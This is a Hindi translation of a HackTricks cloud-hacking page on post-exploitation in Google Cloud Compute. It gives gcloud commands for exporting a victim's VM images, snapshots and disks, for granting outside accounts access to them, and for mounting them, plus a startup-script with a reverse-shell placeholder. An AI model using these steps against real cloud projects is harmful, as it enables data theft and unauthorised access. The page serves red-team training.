GCP - Compute Post Exploitation
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Compute
Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:
स्थानीय रूप से छवियों का निर्यात और निरीक्षण करें
यह एक हमलावर को पहले से मौजूद छवियों के अंदर निहित डेटा तक पहुँचने या चल रहे VMs की नई छवियाँ बनाने और उनके डेटा तक पहुँचने की अनुमति देगा बिना चल रहे VM तक पहुँच के।
एक VM छवि को एक बकेट में निर्यात करना और फिर उसे डाउनलोड करके स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
इस क्रिया को करने के लिए हमलावर को स्टोरेज बकेट पर विशेषाधिकार की आवश्यकता हो सकती है और निश्चित रूप से cloudbuild पर विशेषाधिकार की आवश्यकता है क्योंकि यह सेवा है जिसे निर्यात करने के लिए कहा जाएगा।
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को विशेषाधिकार प्राप्त अनुमतियों की आवश्यकता है।
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com
को आवश्यकता है:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
और SA <project-id>-compute@developer.gserviceaccount.com
को आवश्यकता है:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
स्थानीय रूप से स्नैपशॉट और डिस्क का निर्यात और निरीक्षण करें
स्नैपशॉट और डिस्क को सीधे निर्यात करना संभव नहीं है, लेकिन एक स्नैपशॉट को डिस्क में, एक डिस्क को इमेज में में बदलना संभव है और पिछले अनुभाग के अनुसार, उस इमेज को निर्यात करना संभव है ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Inspect an Image creating a VM
डेटा जो एक इमेज में संग्रहीत है या एक चल रही VM के अंदर से जहां एक हमलावर ने एक इमेज बनाई है, एक बाहरी खाते को इमेज पर पहुंच प्रदान करना संभव है:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
और फिर इससे एक नया VM बनाएं:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
यदि आप अपनी बाहरी खाता पहुंच छवि के माध्यम से नहीं दे सके, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
एक स्नैपशॉट/डिस्क का निरीक्षण करना उसे एक VM से जोड़कर
डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुँचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।
या आप एक बाहरी खाते को डिस्क पर पहुँच प्रदान कर सकते हैं (यदि प्रारंभिक बिंदु एक स्नैपशॉट है तो स्नैपशॉट पर पहुँच दें या इससे एक डिस्क बनाएं):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
एक उदाहरण में डिस्क जोड़ें:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
VM के अंदर डिस्क माउंट करें:
- VM में SSH करें:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- डिस्क पहचानें: VM के अंदर जाने के बाद, डिस्क उपकरणों की सूची बनाकर नई डिस्क की पहचान करें। आमतौर पर, आप इसे
/dev/sdb
,/dev/sdc
, आदि के रूप में पा सकते हैं। - डिस्क को फॉर्मेट और माउंट करें (यदि यह एक नई या कच्ची डिस्क है):
- एक माउंट पॉइंट बनाएं:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- डिस्क को माउंट करें:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
यदि आप snapshot या डिस्क के लिए एक बाहरी प्रोजेक्ट को एक्सेस नहीं दे सकते, तो आपको snapshot/disk के समान प्रोजेक्ट में एक इंस्टेंस के अंदर ये क्रियाएँ करनी पड़ सकती हैं।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।